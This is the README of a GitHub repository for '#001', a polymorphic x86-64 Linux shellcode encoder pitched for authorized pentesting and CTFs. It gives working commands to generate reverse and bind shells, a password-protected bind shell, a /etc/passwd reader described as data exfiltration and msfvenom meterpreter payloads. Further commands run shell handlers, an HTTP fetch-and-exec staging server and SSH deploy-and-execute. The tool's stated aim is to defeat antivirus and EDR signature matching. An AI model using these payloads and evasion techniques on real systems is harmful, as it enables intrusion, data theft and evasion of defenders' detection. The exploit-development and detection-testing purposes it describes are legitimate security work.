Skip to content

darkLabz001/001

Repository files navigation

#001

  #001  //  polymorphic shellcode engine  //  darksec.uk

A polymorphic shellcode engine for x86-64 Linux — built for authorized penetration testing, CTF challenges, and learning how shellcode / encoders / decoder stubs actually work at the byte level. Ships with a darksec.uk TUI.

Every build produces the same behavior from a different byte pattern: the payload is XOR-encoded (single or rolling multi-byte key) and wrapped in a decoder stub whose structure is randomized each run — register allocation, decode direction, loop-instruction form, GetPC/lea style, and injected junk. That mutating stub, not the key alone, is what defeats naive byte-signature matching.

Files

File Purpose
001 Launcher for the TUI (./001).
tui.py #001 interactive TUI front-end.
engine.py The engine: encode + emit a randomized decoder stub, assemble to raw shellcode; bad-char / rolling-key solver.
alpha.py Alphanumeric encoder (--alpha): output entirely [0-9A-Za-z].
harness.c Local RWX test harness — maps the shellcode and jumps into it.
alpha_harness.c Like harness.c but sets RCX = buffer first (alnum BufferRegister contract).
gen_art.py Regenerates the banner art from the source PNG.
payloads/execve_shell.asm Demo: execve("/bin//sh") — pops a shell.
payloads/print_msg.asm Demo: benign write() to stdout — zero-risk.
payloads/exit_lowbyte.asm Demo: exit(42), all bytes ≤ 0x7f — alphanumeric-friendly.
payloads/bind_auth.asm Bind shell with hardcoded password auth (configurable).
payloads/file_read.asm Read and output a file (default /etc/passwd).
payloads/meterpreter_stager.asm Download-and-execute TCP stager for staged payloads.
remote.py Four remote capabilities: handler (catch shells), HTTP staging, TLS, SSH deploy.
REMOTE.md Full docs for remote.py subcommands.

Reverse & bind TCP shells are generated in engine.py (parameterised by --lhost/--lport), not stored as static files.

TUI

./001

Menu-driven: pick a payload, set LHOST/LPORT, bad chars, key length, output format, then run the solver and optionally fire the result through the harness. Falls back to plain ASCII art when the terminal has no color.

Build & quick start (CLI)

gcc -o harness harness.c

# benign demo (safe to run anywhere)
python3 engine.py --payload print --out poly.bin
./harness poly.bin

# local shell demo
python3 engine.py --payload execve --out sh.bin
./harness sh.bin

Real-world payloads

Built-in, generated for your listener/target:

# reverse TCP shell -> your handler
python3 engine.py --payload reverse --lhost 10.10.14.5 --lport 443 --out rev.bin
#   (catch it: python3 remote.py handler -l 0.0.0.0 -p 443)

# bind TCP shell on the target's 0.0.0.0:4444
python3 engine.py --payload bind --lport 4444 --out bind.bin
#   (connect: nc <target> 4444)

# bind shell with hardcoded password auth (edit ASM to change password)
python3 engine.py --payload bind_auth --lport 4444 --out bind_auth.bin
#   (nc <target> 4444, send "admin" as password)

# read a file to stdout (data exfil, change filename in ASM)
python3 engine.py --payload file_read --out read_passwd.bin
#   (reads /etc/passwd by default; edit payloads/file_read.asm to change)

Or bring your own inner payload — the engine polymorphs arbitrary shellcode:

# raw bytes from msfvenom (no msf encoder needed — this replaces it)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f raw -o m.bin
python3 engine.py --infile m.bin --badchars '00,0a' --out m_poly.bin

# or paste raw hex (e.g. from pwntools.asm)
python3 engine.py --hex '4831f6...' --out custom.bin

Remote capabilities

Four real-world features for catching shells, staging payloads, and deployment:

# built-in handler (catch reverse / connect to bind)
python3 remote.py handler -l 0.0.0.0 -p 4444

# HTTP staging server (serves payload + prints fetch-and-exec stager)
python3 remote.py serve -f exe.bin -l 0.0.0.0 -p 8080

# TLS reverse-shell listener (self-signed cert auto-generated)
python3 remote.py tls-handler -l 0.0.0.0 -p 5555 --cert my.pem

# SSH deploy (upload + optionally run)
python3 remote.py deploy -f exe.bin -d user@10.10.14.5:/tmp/p.bin -r "chmod +x /tmp/p.bin && /tmp/p.bin"

See REMOTE.md for full documentation. All four are verified working with real network traffic.

Output formats for dropping straight into an exploit:

python3 engine.py --payload execve --format c        # C unsigned char[] array
python3 engine.py --payload execve --format python    # pwntools-ready b"\x.." string
python3 engine.py --payload execve --format hex       # flat hex

--seed N makes a build reproducible; omit it for a fresh mutation each run.

Bad-char constraint solver

Real exploits often forbid certain bytes in the payload (\x00 terminates strings, \x0a/\x0d break line-based input, \x20 splits on whitespace). --badchars makes the engine guarantee the entire output avoids them:

# null/newline/CR-free execve shellcode
python3 engine.py --payload execve --badchars '00,0a,0d' --out sh.bin
# [+] solved: 78 bytes, getpc stub, xor key 0x98, 1 attempt(s); output free of 0x00, 0x0a, 0x0d

# also forbid spaces, emit a drop-in C array
python3 engine.py --payload execve --badchars '00,0a,0d,20' --format c

Accepted spec forms: 00,0a,0d, 00 0a 0d, \x00\x0a, 0x00,0x0a, or bare 000a0d. Tune the search budget with --max-attempts (default 400).

How it works — a naive decoder stub is itself full of null bytes (lea [rel payload] and mov reg, imm32 both emit 0x00), so the solver:

  1. Picks an XOR key that maps every payload byte out of the bad set — a hard requirement XOR can't dodge, so it's searched first. It tries a single byte, then rolling 2/4/8-byte keys (see below).
  2. Selects a null-free stub. When 0x00 is forbidden it switches from the lea stub to a GetPC (jmp/call/pop) stub: the payload address comes from a backward call (negative rel32 → high 0xFF bytes, no nulls) and the payload is reached by a register jmp, so no null-bearing displacement is needed.
  3. Loads the length null-free via an 8/16-bit mov after an xor-zero, and — if the length itself is a bad byte — reaches it from a nearby clean value with a few inc/dec.
  4. Re-rolls register allocation, key bytes, and junk instructions until the assembled bytes are fully clean, then verifies the output byte-for-byte.

Rolling multi-byte key

A single XOR key can only clear a bad-char set if some byte k maps every payload byte out of the set at once. Wide bad-char sets make that impossible. A rolling key k[0..n-1] (with data[i] ^= k[i % n]) splits the payload into n independent residue classes — each a smaller sub-problem with its own key byte — so far wider sets become solvable.

python3 engine.py --payload execve --badchars '<wide set>'   # auto: tries 1,2,4,8
python3 engine.py --payload execve --keylen 4                  # force a 4-byte key

--keylen 0 (default) is automatic: single byte first, then 2/4/8. The rolling decoder loads the key into a register and rors it 8 bits per iteration (the key is repeated to fill 8 bytes so the rotation period matches, hence n ∈ {1,2,4,8}). If even an 8-byte rolling key can't clear the set, it fails fast.

Verified end-to-end: null-free (00,0a,0d) builds of execve, print, reverse and bind shells all came out clean and executed correctly (reverse connected back to a listener; bind accepted a client). A crafted 69-byte bad-char set that defeats every single-byte key auto-engaged a 2-byte rolling key and still produced a working shell.

Alphanumeric encoder (--alpha)

For targets that only accept alphanumeric input (classic filtered-buffer exploits), --alpha emits a blob whose every byte is in [0-9A-Za-z]:

python3 engine.py --payload exit --alpha            # exit(42) demo -> alnum blob
# [+] alphanumeric: 105 bytes, all [0-9A-Za-z] (inner 8B)
#     contract: RCX must point at the buffer on entry (test: ./alpha_harness out.bin)
#     j0X0AajAX0Abj0X0Ac0Adj...
gcc -o alpha_harness alpha_harness.c
./alpha_harness out.bin ; echo $?     # -> 42

This is the hardest encoder. On x86-64 there is no alphanumeric backward jump, no clean alphanumeric GetPC, and the only alnum ALU-write opcode is xor (0x30). So the decoder is:

  • Loop-free / unrolled (no backward jump exists), patching each byte in place with a running key in ALpush imm8; pop rax to (re)load the key, then xor [rcx+disp8], al per byte. Every emitted byte is alnum.
  • RCX = buffer contract (no alnum GetPC): the caller leaves a register pointing at the buffer — the standard "BufferRegister" assumption, and the reality of most filtered-input crashes. alpha_harness.c sets it for testing.
  • Padded so the payload lands in the single contiguous alnum displacement run 0x61–0x7a, then execution falls through into the decoded payload.

Honest limits

  • xor of two alphanumeric bytes is always ≤ 0x7f, so this pure-XOR scheme can only encode payloads whose every byte is ≤ 0x7f. Typical shellcode has high bytes (0x89 mov, 0x99 cqo, REX-prefixed forms), so those are rejected with a clear message. The built-in exit payload is written entirely in low bytes to demonstrate the mechanism.
  • Single alnum displacement run ⇒ payload ≤ 26 bytes.

Verified: the exit(42) payload encodes to an all-[0-9A-Za-z] blob and, run under the RCX contract, exits 42.

Why there is no arbitrary-payload alphanumeric mode (evidence)

Producing high-byte shellcode alphanumerically is not just unimplemented here — a self-contained one is impossible with the alphanumeric gadget set. Probing every candidate encoding (nasm, checked byte-for-byte) shows:

need alnum gadget?
build high-byte values imul r,[r+d],imm (69 …)
store a register push r (50…) — but stack only
set RSP (pivot to buffer) pop rsp=5c, xchg esp=94, mov rsp=48 89 cc
jump to reg/stack jmp rsp=ff e4, ret=c3 — only forward jcc is alnum
write a high byte in place ❌ only alnum ALU-write is xor w/ ≤0x7f source → bit 7 stays 0

So a restricted-charset decoder can only reach its payload by in-place decode + fall-through, and in-place decode can't produce bytes ≥ 0x80. Tools like ALPHA3 / msfvenom x64/…alpha run arbitrary payloads only by building on the stack and relying on the exploit's own stack-pivot / landing register — i.e. external context, not a self-contained blob. That belongs to the exploit, not the encoder, so it's intentionally out of scope here rather than faked. For arbitrary alphanumeric output in a real engagement, feed msfvenom -e x64/xor_dynamic / x86/alpha_mixed with the appropriate BufferRegister.

Multi-layer encoding

--layers N nests the payload in N decoder stubs. At runtime the outermost stub decodes the next, which decodes the next, … down to the payload — each stub decodes its region then transfers to its start (the next stub), so the chain falls through. Only the outermost layer honours --badchars (that's what the target sees); inner blobs are intermediate.

python3 engine.py --payload execve --layers 3
# [+] 3 layers (inner->outer): getpc/0x2e -> lea/0xc2 -> lea/0xcc

python3 engine.py --payload reverse --lhost 10.10.14.5 --lport 443 \
    --layers 4 --badchars '00,0a,0d'

Each layer independently randomizes stub style / key, multiplying the number of distinct byte patterns a signature must cover. Verified: 3-layer execve pops a shell; a 4-layer null-free reverse shell stayed clean of 00,0a,0d and connected back to a listener.

Real-world authorized pentesting uses

These are the legitimate engagement scenarios this kind of tooling supports — all assume a signed scope / rules of engagement authorizing the work:

  • AV / EDR signature-evasion validation. Blue teams and detection engineers need to know whether their controls catch behavior or just known byte-strings. Feeding functionally-identical-but-byte-distinct variants at a lab endpoint measures whether a signature is brittle (pattern-only) or robust (behavioral/heuristic). This is a core deliverable in a red-team report: "your NIDS/AV flags stock msfvenom but misses a re-encoded variant — here's the evidence."
  • IDS/IPS rule tuning. Generate a spread of variants to test Snort/Suricata rules against, so the SOC can tighten rules that only match a literal decoder stub.
  • Exploit development under bad-char / size constraints. In a real exploit, the vulnerable buffer often forbids certain bytes (\x00, \x0a, \x20) or limits length. The --badchars solver (see below) produces shellcode guaranteed free of the forbidden set — a standard exploit-dev step.
  • Payload-delivery testing for phishing/initial-access simulation. During an authorized red-team, confirming that a loader isn't caught purely on a static hash before it's ever used on target.
  • Detection-engineering training data. Producing labeled families of mutated-but-equivalent samples to train/evaluate ML or YARA-based detectors.
  • CTF pwn. Shrinking or bad-char-cleaning shellcode to fit a tight overflow, and learning encoder/decoder-stub construction hands-on.

Authorization & safety

Use this only against systems and in engagements you are explicitly authorized to test — a written pentest scope, a CTF you're competing in, or your own lab/VM. The execve demo spawns a real shell; the print demo is inert and good for mechanics. harness.c maps memory RWX because self-decoding shellcode rewrites itself in place — that's fine for a local test rig but is itself the kind of thing your EDR should flag.

Possible next features

  • more payloads (staged/meterpreter-style, execve with args, file read)
  • printable-ASCII (non-alnum) encoder — richer gadget set than alphanumeric
  • x86 (32-bit) and ARM64 stub templates

(An arbitrary-payload alphanumeric mode is intentionally not on this list — see "Why there is no arbitrary-payload alphanumeric mode" above.)

About

Polymorphic shellcode encoder for authorized pentesting & CTF

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages